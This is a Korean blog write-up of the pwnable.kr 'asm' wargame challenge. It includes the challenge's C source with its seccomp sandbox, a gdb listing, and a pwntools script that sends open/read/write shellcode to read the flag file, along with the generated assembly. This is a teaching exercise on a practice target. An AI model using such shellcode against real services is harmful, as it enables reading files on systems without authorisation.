본문 바로가기

pwnable/pwnable.kr

[pwnable.kr Toddler's Bottle] asm write up

728x90

 

asm을 풀어보겠습니다!

shellcode를 작성하라고 되어있네요..! 일단 접속을 해봅니다!

 

 

readme를 읽어보니 원격 접속으로 문제를 풀도록 되어있습니다.

플래그 파일은 되게 길어보이네요..!

소스코드는 다음과 같습니다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf("seccomp error\n");
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

        if (seccomp_load(ctx) < 0){
                seccomp_release(ctx);
                printf("seccomp error\n");
                exit(0);
        }
        seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

        printf("Welcome to shellcoding practice challenge.\n");
        printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
        printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
        printf("If this does not challenge you. you should play 'asg' challenge :)\n");

        char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf("give me your x64 shellcode: ");
        read(0, sh+offset, 1000);

        alarm(10);
        chroot("/home/asm_pwn");        // you are in chroot jail. so you can't use symlink in /tmp
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}

 

sh라는 곳에 0x1000만큼의 공간을 잡고, 쉘 코드를 입력해서 실행시키는 것 같습니다.

그전에 일단 모르겠는 것들을 확인해보고 넘어가겠습니다.

 

chroot이곳에 설명이 잘 되어있었습니다.

여기서는 /home/asm_pwn 인 경로가 이 프로세스에서 루트 디렉터리(/)를 의미하게 되는 것입니다. 그래서 주석 처리대로 chroot jail 때문에 /tmp경로를 사용하지 못한다는 것이었습니다.

 

그리고 sandbox()를 호출하는데, 여기서는 seccomp.h의 함수들이 사용되어있는 것을 확인할 수 있습니다. seccomp.h가 무슨 일들을 하는 함수들의 헤더인지 알아봤습니다. 블로그깃 헙에서 잘 설명된 글들을 참고했습니다.

출력문에서 말하는 데로 open()/read()/write() 시스템 콜만 기본적으로 이용이 가능하게 하는 것임을 확인했습니다.

 

그럼 우리는 sh에 open()/read()/write() 세 가지의 시스템 콜만을 이용해서 flag를 읽어와야 하기 때문에 저 긴 이름의 파일을 open 해서 read 한 것을 화면에 write 하면 될 것입니다.

 

마지막으로 쉘 코드를 작성하러 가기 전에 stub앞에 붙은 내용들이 무엇인지 확인해보겠습니다!

 

(gdb) x/10i 0x2020c0
   0x2020c0 <stub>:     xor    %rax,%rax
   0x2020c3 <stub+3>:   xor    %rbx,%rbx
   0x2020c6 <stub+6>:   xor    %rcx,%rcx
   0x2020c9 <stub+9>:   xor    %rdx,%rdx
   0x2020cc <stub+12>:  xor    %rsi,%rsi
   0x2020cf <stub+15>:  xor    %rdi,%rdi
   0x2020d2 <stub+18>:  xor    %rbp,%rbp
   0x2020d5 <stub+21>:  xor    %r8,%r8
   0x2020d8 <stub+24>:  xor    %r9,%r9
   0x2020db <stub+27>:  xor    %r10,%r10
(gdb)
   0x2020de <stub+30>:  xor    %r11,%r11
   0x2020e1 <stub+33>:  xor    %r12,%r12
   0x2020e4 <stub+36>:  xor    %r13,%r13
   0x2020e7 <stub+39>:  xor    %r14,%r14
   0x2020ea <stub+42>:  xor    %r15,%r15
   0x2020ed <stub+45>:  .byte 0x0

 

위와 같이 모든 레지스터들을 xor로 초기화시키는 것을 확인할 수 있습니다. 따라서 우리가 넣어주는 입력만에 stub뒤에 붙어서 sh로 덮어쓰게 됩니다.

 

 

쉘 코드를 구하려고 c코드부터 작성하고 만들던 중 64비트에서는 다르게 작성한다는 것과 pwntools에 포함된 shellcraft를 이용해서 쉽게 작성이 가능하다는 것을 알게 되었고, 이번에는 파이썬을 이용해서 쉽게 작성해보도록 하겠습니다!

시작하기 전에 context(arch='amd64', os='linux')와 같이 현재 아키텍처를 써주게 되면 shellcraft.amd64.linux.open()와 같이 길게 함수를 사용하지 않고 바로 shellcraft.open()로 줄여서 작성이 가능하다고 합니다.

그리고 위의 context()를 써줘야 pwntools의 어셈블리어를 기계어로 바꿔주는 asm()을 사용할 수 있다고 합니다.

 

 

아키텍처를 알아보기 위해 arch명령어를 쳤더니 x86_64라고 떴습니다. shellcraft를 확인해보면 다음과 같이 x86_64도 포함한다고 나와있습니다.

 

 

익스플로잇 작성은 이 포스트를 참고해서 했습니다.. 거의 다 알려주신 듯한 느낌..

 

from pwn import *

host = '0.0.0.0'
port = 9026

filename = './this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

context(arch='amd64', os='linux')

payload = ""
payload += shellcraft.pushstr(filename)
payload += shellcraft.open('rsp', 0, 0)
payload += shellcraft.read('rax', 'rsp', 1000)
payload += shellcraft.write(1, 'rsp', 1000)

r = remote(host, port)
r.recvuntil('shellcode: ')
r.sendline(asm(payload))

r.interactive()
r.close()
~            

 

확실히 알고 있던 컴파일 해서 필요한 어셈블리 코드 부분들을 따와서 새로 합쳐 만드는 방법보다는 훠어어엉ㄹ씬 간단하게 만들 수 있었습니다! 신기해...

 

아래는 asm() 하기 전에 shellcraft로 만든 payload상태입니다.

...더보기

    /* push './this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00' */
    push 0x67
    mov rax, 0x6e6f306f306f306f
    push rax
    mov rax, 0x306f306f306f3030
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x30306f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f30303030303030
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x3030303030303030
    push rax
    mov rax, 0x30306f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6f6f
    push rax
    mov rax, 0x6f6f6f6f6f6f6c5f
    push rax
    mov rax, 0x797265765f73695f
    push rax
    mov rax, 0x656d616e5f656c69
    push rax
    mov rax, 0x665f6568745f7972
    push rax
    mov rax, 0x726f732e656c6966
    push rax
    mov rax, 0x5f736968745f6461
    push rax
    mov rax, 0x65725f657361656c
    push rax
    mov rax, 0x705f656c69665f67
    push rax
    mov rax, 0x616c665f726b2e65
    push rax
    mov rax, 0x6c62616e77705f73
    push rax
    mov rax, 0x695f736968742f2e
    push rax
    /* open(file='rsp', oflag=0, mode=0) */
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
    /* call read('rax', 'rsp', 1000) */
    mov rdi, rax
    xor eax, eax /* SYS_read */
    xor edx, edx
    mov dx, 0x3e8
    mov rsi, rsp
    syscall
    /* write(fd=1, buf='rsp', n=1000) */
    push 1
    pop rdi
    xor edx, edx
    mov dx, 0x3e8
    mov rsi, rsp
    /* call write() */
    push SYS_write /* 1 */
    pop rax
    syscall

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90